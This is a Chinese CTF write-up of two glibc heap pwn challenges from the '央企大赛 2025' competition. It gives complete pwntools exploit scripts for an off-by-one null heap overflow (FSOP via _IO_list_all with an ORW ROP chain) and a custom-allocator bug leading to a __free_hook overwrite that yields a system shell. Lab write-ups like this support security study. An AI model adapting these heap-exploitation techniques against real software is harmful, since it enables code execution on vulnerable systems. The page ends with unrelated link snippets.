[央企大赛 2025] pwn
拿到堆附件,不清楚哪个是密码哪个是pwn,找到两个pwn,一个RSA密码相对简单(已知e,d,N,直接用N解出k((ed-1)//phi_N==(ed-1)//N^2),然后求p+q,而phi_N正好是p+q的2次方程)。就只复现了两个pwn,感觉还有些难的。
小红书的记事本
一个不常见的libc版本 2.33下载glibc里居然在河北的DNS给拦截了,原因好像是未备案。这ubuntu.com有必要在河北备案吗。
堆题,有add,free,show,漏洞在add处有个off_by_one_null
__int64 __fastcall sub_C40(_BYTE *a1, int a2)
{int i; // [rsp+1Ch] [rbp-4h]if ( a2 <= 0 )return 0LL;for ( i = 0; ; ++i ){if ( (unsigned int)read(0, a1, 1uLL) != 1 )return 1LL;if ( *a1 == 10 )break;++a1;if ( i == a2 ) /*会多读入1字符*/break;}*a1 = 0; /*在读入字符后加一个\0 */return 0LL;
}
这个带\0截断的确实比较麻烦,又没有edit。这里可以建个0x10000的块,在利用前面块的1字节溢出修改尾字节,包含后边的块,在free以后造重叠块。
另外一个小坑是,这个版本unsort的指针尾字节也是0,只能建大块让unsort进入smallbin再泄露。
然后是禁用了exec 用IO_list_all造fake_file,原来存了一个模板。先造一个fake_file输出environ再链接下一个fake_file读第3个fake_file,第3个把ROP读到栈上。
由于是通过触发的exit,它调用fcloseall_0,所以ROP要写在fcloseall_0的返回地址处。
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.33.so')#在add写入时可以多写1字节,但最后会加\0
def add(idx,size,msg=b'\n'):p.sendafter(b"Choice:\n", b'1'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p.sendafter(b"Size: \n", str(size).encode().ljust(8,b'\0'))p.sendafter(b"Content: \n", msg)def show(idx):p.sendafter(b"Choice:\n", b'2'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p.recvuntil(b"Content: \n")def free(idx):p.sendafter(b"Choice:\n", b'3'.ljust(8,b'\0'))p.sendafter(b"Index: \n", str(idx).encode().ljust(8,b'\0'))p = process('./pwn')#unsort xxx00
for i,s in enumerate([0x18,0x10000,0x18,0x48,0x58,0x48,0x58]):add(i,s,b'\n')free(0)
add(0,0x18,b'\0'*0x18+p8(0xe1)) #将0x10011改为0x100e1包含1+2+3+4
free(1)
add(1,0x10000)
add(7,0xf0) #0xd0 unsort->smallbin unsort的指针尾地址为0,将unsort转为smallbin再泄露
show(2)
libc.address = u64(p.recv(6)+b'\0\0') - 0x1e0cc0
print(f"{libc.address = :x}")add(12,0x18)
add(13,0xa0) #13=3+4 无法用完smallbin,至少保留0x20
free(12)
add(12,0x18, b'1'*0x18+p8(0x51)) #0xb1->0x51
free(3) #13==3
show(13)
heap = (u64(p.recvuntil(b'Done', drop=True).ljust(8, b'\0')) <<12)
print(f"{heap = :x}")add(3,0x48)
free(5)
free(3)
free(12)
add(12,0x18, b'1'*0x18+p8(0xb1))
free(13)
add(13, 0xa8, p64(libc.sym['_IO_list_all']^(heap>>12))[:-1]+b'\n')
free(12)
add(12,0x18, b'1'*0x18+p8(0x51))
add(5, 0x48)
add(15,0x48, p64(heap-0x10000+0x2c0)+b'\n') #_IO_list_all = chunk1#fake_file
pop_rdi = libc.address + 0x0000000000028a55 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002a4cf # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000c7f32 # pop rdx ; ret
pop_rax = libc.address + 0x0000000000044c70 # pop rax ; ret
syscall = libc.sym['getpid'] + 9# _IO_list_all->chunk1
heap_base = heap - 0x10000 + 0x2c0 #chunk1
print(f"{heap_base = :x}")
#write environ + read file:read_rop
#write(1,environ,8) 先执行第1个file输出environ的栈地址,_chain指向第2个file
fake_io_write = flat({0x00: 0x8000 | 0x800 | 0x1000, #_flags0x20: libc.symbols["environ"], #_IO_write_base0x28: libc.symbols["environ"] + 8, #_IO_write_ptr0x68: heap_base+ 0x100, #_chain -> fake_io_read 0x70: 1, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')#read(0,heap_base+0x200,0x100) 第2个file读入第3个file
fake_io_read = flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: heap_base + 0x200, #_IO_write_base0x28: heap_base + 0x300, #_IO_write_ptr0x68: heap_base + 0x200, #_chain -> fake_read_rop0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')free(1)
add(1,0x1000, payload+b'\n')#gdb.attach(p, "b*0x7ffff7e19240\nc")
p.sendafter(b"Choice:\n", b'4'.ljust(8,b'\0')) #执行exit时执行io_file
#main.ret
#exit->fcloseall_0->_IO_file_overflow ROP写的位置是fcloseall_0的返回地址处
target = u64(p.recv(8)) - 0x100 - 8 -0x90 #fcloseall_0.ret-8
print(f"{target = :x}")chain = b'flag\0\0\0\0'+ flat([pop_rdi , target , pop_rsi , 0 , pop_rax,2, syscall,pop_rdi , 3 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,0, syscall,pop_rdi , 1 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,1, syscall])#第3个file将rop读到栈上
fake_io_read = flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: target, #_IO_write_base0x28: target + len(chain), #_IO_write_ptr0x68: 0, #_chain0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00').ljust(0x100, b'\x00')
p.send(fake_io_read)p.send(chain)p.interactive()
xheap
这个也是很麻烦。
题目先mmap了一个块,
在建块时同时在堆内建一个0x30以内的块并在mmap里建一个0x20-0x100的块。
free时mmap里的块通过双向指针成链(含size)使用size相同的块,并且指针与一个类似key的随机生成的值异或。
漏洞在于mmap里的模拟的堆没有头,或以写溢出1字节。
在造的块内伪造链表,并利用off_by_one修改尾字节指到fake链上,由这个链将content块建到堆里。控制一个块头和指针。通过修改头和tcache.counter,将块释放到unsort得到libc然后往free_hook里写system
from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6') #2.27-3ubuntu1.6_amd64def add(s1=0x18,m1=b'\n',s2=0x30,m2=b'\n'):p.sendlineafter(b"Your Choice: ", b'1')p.sendlineafter(b"title size: ", str(s1).encode())p.sendlineafter(b"content size: ", str(s2).encode())p.sendafter(b"title: ", m1)p.sendafter(b"content: ", m2)def free(idx):p.sendlineafter(b"Your Choice: ", b'2')p.sendlineafter(b"idx: ", str(idx).encode())def show(idx):p.sendlineafter(b"Your Choice: ", b'3')p.sendlineafter(b"idx: ", str(idx).encode())def edit(idx,m1,m2):p.sendlineafter(b"Your Choice: ", b'4')p.sendlineafter(b"idx: ", str(idx).encode())p.sendafter(b"title: ", m1)p.sendafter(b"content: ", m2)p = process('./pwn_ori')add()
add()
add()
add(s1=0x30)free(0)
free(2)
'''
0x555555603050: 0x00000deadbeef060 0x0000000000000000
0x555555603060: 0x3a9027da69f65ec9 0x0000000000000000
0x555555603070: 0x0000000000000000 0x0000000000000000
0x555555603080: 0x0000555555a01260 0x0000000000000018 0x00000deadbeef000 0x0000000000000020 0x0000000000000000 0x0000555555a01280 0x0000000000000018 0x00000deadbeef030 0x0000000000000020 0x0000000000000001
0x5555556030d0: 0x0000555555a012a0 0x0000000000000018 0x00000deadbeef060 0x0000000000000020 0x00000000000000000x0000555555a012c0 0x0000000000000018 0x00000deadbeef090 0x0000000000000020 0x0000000000000001
'''
add(1,b'\x60',0x30,b'A'*8) #0
show(0)
p.recvuntil(b"title: ")
heap = u64(p.recvline()[:-1].ljust(8,b'\0')) - 0x260
p.recvuntil(b"content: ")
p.recv(8)
key = u64(p.recv(8))
print(f"{heap = :x} {key = :x}")
xheap = 0x00000deadbeef000add() #2
free(2)
free(0)#gdb.attach(p, "b*0x555555401535\nc")edit(1, flat(key, key^((xheap+0x60)>>4),0x50), flat(0,0,key, key^((xheap+0x60)>>4),0x40, 0) + p64(key^((xheap+0x40)>>4))[:1] )add(0x28,b'000\n', 0x40, flat(0,0,0,0,key^((heap+0x280)>>4)))
add(0x28,b'111\n',0x50, flat(0,0,0,0x91,heap+0x10)) #2add(s1=0x18) #4
add(s1=0x18, m1=b'\0'*7+b'\x07\n') #5
free(4)edit(2,b'\n',b'A'*0x20)
show(2)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")edit(2,b'\n',flat(0,0,0,0x91))
add(s1=0x20) #4
free(4)
#tcache attack
edit(2,b'\n',flat(0,0,0,0x31, libc.sym['__free_hook']))
add(0x20, b'/bin/sh\0\n') #4
add(0x20, p64(libc.sym['system'])+b'\n')free(4)
p.interactive()
相关文章:
[央企大赛 2025] pwn
拿到堆附件,不清楚哪个是密码哪个是pwn,找到两个pwn,一个RSA密码相对简单(已知e,d,N,直接用N解出k((ed-1)//phi_N(ed-1)//N^2),然后求pq,而phi_N正好是pq的2次方程)。就只复现了两个pwn,感觉还有…...
C语言初阶--折半查找算法
目录 练习1:在一个有序数组中查找具体的某个数字n 练习2:编写代码,演示多个字符从两端移动,向中间汇聚 练习3:简单编写代码实现,模拟用户登录情景,并且只能登录三次 练习4:猜数字…...
Python!从0开始学爬虫:(一)HTTP协议 及 请求与响应
前言 爬虫需要基础知识,HTTP协议只是个开始,除此之外还有很多,我们慢慢来记录。 今天的HTTP协议,会有助于我们更好的了解网络。 一、什么是HTTP协议 (1)定义 HTTP(超文本传输协议ÿ…...
[ Spring ] Spring Cloud Gateway 2025 Comprehensive Overview
文章目录 Spring Gateway ArchitectureProject Level DependencyService CenterService ProviderGateway ServiceLaunch All Service Spring Gateway Architecture Service Center : register and find service providerService Provider : programs that provide actual serv…...
【项目初始化】自定义异常处理
我们在项目初始化的工作之一就是要自定义异常处理,用来处理项目中出现的各种异常,如业务异常、系统异常等等。 这些属于项目的通用基础代码,在任何后端中都可以复用。 1. 自定义错误码 自定义错误码,对错误进行收敛,…...
Windows10安装MySQL找不到MSVCR120.dll和MSVCP120.dll问题解决
个人博客地址:Windows10安装MySQL找不到MSVCR120.dll和MSVCP120.dll问题解决 | 一张假钞的真实世界 msvcp120.dll、msvcr120.dll、vcomp120.dll属于VC2013版中的动态链接库,如果丢失重新安装VC2013即可。下载地址:https://www.microsoft.com…...
【嵌入式】总结——Linux驱动开发(三)
鸽了半年,几乎全忘了,幸亏前面还有两篇总结。出于快速体验嵌入式linux的目的,本篇与前两篇一样,重点在于使用、快速体验,uboot、linux、根文件系统不作深入理解,能用就行。 重新梳理一下脉络,本…...
计算机图形学:实验三 光照与阴影
一、程序功能设计 设置了一个3D渲染场景,支持通过键盘和鼠标控制交互,能够动态调整光源位置、物体材质参数等,具有光照、阴影和材质效果的场景渲染。 OpenGL物体渲染和设置 创建3D物体:代码中通过 openGLObject 结构体表示一个…...
「 机器人 」扑翼飞行器混合控制策略缺点浅谈
前言 将基于模型的控制与强化学习策略融合在扑翼飞行器中,虽然能够兼顾系统稳定性与极限机动能力,但也面临了更高的系统复杂性、对硬件算力与可靠性的额外要求,以及难以回避的能量效率等方面挑战。以下从四个方面进行归纳与分析。 1. 系统复杂性增加 1.1 两种控制方法的并存…...
蓝桥杯算法日常|c\c++常用竞赛函数总结备用
一、字符处理相关函数 大小写判断函数 islower和isupper:是C标准库中的字符分类函数,用于检查一个字符是否为小写字母或大写字母,需包含头文件cctype.h(也可用万能头文件包含)。返回布尔类型值。例如: #…...
每日十题八股-2025年1月24日
1.面试官:Kafka 百万消息积压如何处理? 2.面试官:最多一次、至少一次和正好一次有什么区别? 3.面试官:你项目是怎么存密码的? 4.面试官:如何设计一个分布式ID? 5.面试官:单点登录是怎么工作的…...
tomcat的accept-count、max-connections、max-threads三个参数的含义
tomcat的accept-count、max-connections、max-threads三个参数的含义 tomcat的accept-count、max-connections、max-threads三个参数的含义 max-connections:最大连接数 最大连接数是指,同一时刻,能够连接的最大请求数 需要注意的是&#x…...
【无标题】mysql python 连接
coding:utf8 import os import pymysql import yaml from common.log import logger class Mysql: # 处理.sql备份文件为SQL语句 def __read_sql_file(self,file_path): # 打开SQL文件到f sql_list = [] with open(file_path, ‘r’, encoding=‘utf8’) as f: # 逐行读取和…...
linux naive代理设置
naive linux客户端 Release v132.0.6834.79-2 klzgrad/naiveproxy GitHub Client setup Run ./naive with the following config.json to get a SOCKS5 proxy at local port 1080. {"listen": "socks://127.0.0.1:1080","proxy": "htt…...
[STM32 - 野火] - - - 固件库学习笔记 - - -十一.电源管理系统
一、电源管理系统简介 电源管理系统是STM32硬件设计和系统运行的基础,它不仅为芯片本身提供稳定的电源,还通过多种电源管理功能优化功耗、延长电池寿命,并确保系统的可靠性和稳定性。 二、电源监控器 作用:保证STM32芯片工作在…...
DBO优化最近邻分类预测matlab
蜣螂优化算法(Dung Beetle Optimizer,简称 DBO)作为一种新兴的群智能优化算法,于 2022 年末被提出,其灵感主要来源于蜣螂的滚球、跳舞、觅食、偷窃以及繁殖等行为。 本次使用的数据为 Excel 格式的分类数据集。该数据…...
【深入理解FFMPEG】命令行阅读笔记
这里写自定义目录标题 第三章 FFmpeg工具使用基础3.1 ffmpeg常用命令3.1.13.1.3 转码流程 3.2 ffprobe 常用命令3.2.1 ffprobe常用参数3.2.2 ffprobe 使用示例 3.3 ffplay常用命令3.3.1 ffplay常用参数3.3.2 ffplay高级参数3.3.4 ffplay快捷键 第4章 封装与解封装4.1 视频文件转…...
图形化数据报文转换映射工具
目录 概要整体架构流程技术名词解释技术细节小结 概要 在当今数字化时代,数据的处理和分析是企业、科研机构以及各类组织日常运营的核心环节。数据来源广泛,格式多样,常见的数据格式包括XML(可扩展标记语言)和JSON&a…...
智能体0门槛开发
分享一个智能体开发流程。 2025 年啊,好多专家还有行业报告都觉得这是智能体(AI Agent)应用的头一年。相关的应用在商业、工业、消费等好些领域都到了关键的时候,这意味着从实验室走向大规模实际应用的重要转变。而且呢࿰…...
ssh密钥登录GitHub时一直提示“Error: Permission denied (publickey)”
起因 环境:Windows10 背景:之前就是按照官方说明创建个rsa密钥,在git后台添加上,就行了,近期怎么添加怎么失败,总是“Error: Permission denied (publickey)”的提示! 尝试 各种尝试…...
OpenCode应用案例:搭建企业内部代码审查助手,提升开发效率
OpenCode应用案例:搭建企业内部代码审查助手,提升开发效率 1. 项目背景与痛点分析 在软件开发团队中,代码审查是保证代码质量的关键环节。然而传统人工审查方式面临诸多挑战: 时间成本高:资深工程师需要花费大量时间…...
springboot+vue基于web的演唱会音乐会购票管理系统设计系统
目录同行可拿货,招校园代理 ,本人源头供货商系统功能模块分析技术架构设计核心业务流程安全防护措施项目技术支持源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作同行可拿货,招校园代理 ,本人源头供货商 系统功能模块分析 用户模块 注册登…...
Heritrix3源码深度解析:从CrawlURI到ProcessorChain的执行流程
Heritrix3源码深度解析:从CrawlURI到ProcessorChain的执行流程 【免费下载链接】heritrix3 Heritrix is the Internet Archives open-source, extensible, web-scale, archival-quality web crawler project. 项目地址: https://gitcode.com/gh_mirrors/he/herit…...
别再只测烟雾了!用STM32CubeMX+MQ-2传感器,做个厨房燃气泄漏+烟雾双检测器(附完整代码)
厨房安全卫士:基于STM32CubeMX与MQ-2的燃气烟雾双模检测系统 厨房是家庭安全事故的高发区域,燃气泄漏和烟雾积聚都可能引发严重后果。传统烟雾报警器功能单一,而市面上的复合型安防设备价格昂贵。本文将带你用STM32单片机和MQ-2气敏传感器&am…...
SystemVerilog实战:在Vivado 2023.1中实现跨文件clog2计算的3种方法
SystemVerilog实战:在Vivado 2023.1中实现跨文件clog2计算的3种方法 当我们将传统Verilog项目迁移到SystemVerilog环境时,经常会遇到$clog2函数的兼容性问题。这个看似简单的对数计算函数,在不同工具链和文件类型中的表现可能大相径庭。特别是…...
LumiPixel Canvas Quest人像生成中的数据结构优化实践
LumiPixel Canvas Quest人像生成中的数据结构优化实践 1. 为什么需要优化数据结构 当你用LumiPixel Canvas Quest处理大批量人像时,有没有遇到过程序变慢甚至崩溃的情况?这通常是因为图像数据在内存中的组织方式不够高效。就像整理衣柜一样,…...
YOLOv12模型轻量化实战:应对嵌入式设备资源约束
YOLOv12模型轻量化实战:应对嵌入式设备资源约束 最近几年,目标检测模型在精度上突飞猛进,但随之而来的是模型体积和计算量的急剧膨胀。当你兴冲冲地想把最新的YOLOv12模型部署到Jetson Nano或者树莓派上时,往往会发现现实很骨感&…...
别只看成功率!拆解AlphaFold3在抗体对接中那60%的失败案例
AlphaFold3抗体对接失败的深层解析:60%案例背后的技术挑战与突破路径 当AlphaFold3(AF3)在抗体-抗原对接领域取得8.9%的高精度成功率时,科学界为之振奋。但鲜少有人关注到,在单种子采样条件下,这一系统仍有…...
ExpressionUtil实战指南:从基础解析到高级应用
1. ExpressionUtil工具类入门指南 第一次接触ExpressionUtil时,我正被项目中复杂的表达式计算需求困扰。这个工具类就像瑞士军刀一样,帮我解决了各种字符串表达式处理的难题。简单来说,ExpressionUtil是Java开发中处理数学表达式、逻辑判断的…...
如何快速配置NoteGen快捷键:从新手到效率高手的完整指南
如何快速配置NoteGen快捷键:从新手到效率高手的完整指南 【免费下载链接】note-gen 一款专注于记录和写作的跨端 AI 笔记应用。 项目地址: https://gitcode.com/GitHub_Trending/no/note-gen 你是否曾经在使用笔记应用时,频繁切换鼠标点击菜单&am…...
